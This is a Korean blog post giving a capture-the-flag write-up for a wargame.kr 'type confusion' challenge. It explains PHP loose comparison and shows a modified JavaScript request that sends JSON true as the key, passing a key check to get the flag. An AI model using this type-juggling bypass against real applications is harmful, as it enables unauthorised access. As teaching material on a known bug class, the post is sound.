Post

(17) Dreamhack [wargame.kr] type confusion 문제 풀이

문제 설명

Simple Compare Challenge.
hint? you can see the title of this challenge.
:D

문제 풀이

들어가면 있는 소스코드 부터 확인해보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("./lib.php"); // include for FLAG.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true, "flag" => $FLAG];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }

 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_", true);
    $key = sha1($key);
     return $key;
 }
?>

<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>

또한 아래 html에서 불러오는 util.js도 확인해보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var lock = false;
function submit_check(f){
  if (lock) {
    alert("waiting..");
    return false;
  }
  lock = true;
  var key = f.key.value;
  if (key == "") {
    alert("please fill the input box.");
    lock = false;
    return false;
  }

  submit(key);

  return false;
}

function submit(key){
  $.ajax({
    type : "POST",
    async : false,
    url : "./index.php",
    data : {json:JSON.stringify({key: key})},
    dataType : 'json'
  }).done(function(result){
    if (result['code'] == true) {
      document.write("Congratulations! flag is " + result['flag']);
    } else {
      alert("nope...");
    }
    lock = false;
  });
}

이 문제를 해결하려면 $json->key == $key 조건이 만족되어야 합니다. 그리고 문제 설명에서 문제 제목인 type confusion이 힌트라고 합니다.

코드를 보면 일단 form에 뭔가를 적으면 submit_check함수가 입력값이 비었는지, 그리고 중복요청을 막는 코드가 실행됩니다. 입력값이 있다면 submit함수가 실행되어 {key: 입력값}의 json을 post 요청으로 보냅니다. 입력값이 gen_key함수의 결과와 같다면 flag를 보여주네요.

Type Confusion

type confusion은 말 그대로 타입을 혼동한다는 뜻입니다.
입력값이 예상과 다른 결과값인 경우 또는 의도되지 않은 타입의 데이터가 형변환되는 경우 발생할 수 있습니다.
예를 들어, “123”이라는 문자열은 bool로 형변환을 하면 true가 됩니다.
만약 입력값 == "문자열"형태로 비교되는 경우 true를 입력값으로 넣을 수 있다면 참이 되어 조건문을 지나갈 수 있죠.

이걸 알고 다시 한번 코드를 봅시다. gen_key()의 결과는 어떤 문자열($key)일 것이고 $json->key == $key에서 $json->keytrue가 넘겨지게 할 수 있다면 flag를 얻을 수 있을 겁니다.

요청을 보내는건 프론트엔드의 js이기 때문에 스크립트나 요청값의 변조가 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function submit(key){
  $.ajax({
    type : "POST",
    async : false,
    url : "./index.php",
    data : {json:JSON.stringify({key: true})},
    dataType : 'json'
  }).done(function(result){
    if (result['code'] == true) {
      document.write("Congratulations! flag is " + result['flag']);
    } else {
      alert("nope...");
    }
    lock = false;
  });
}

위와 같이 true를 key 값으로 post요청을 보내도록 submit함수를 수정했습니다. 이렇게 콘솔에 수정한 코드를 넣어 원래 코드를 덮어씌우고 아무값이나 form에 넣고 보내주면 이렇게 flag를 얻을 수 있습니다.

This post is licensed under CC BY 4.0 by the author.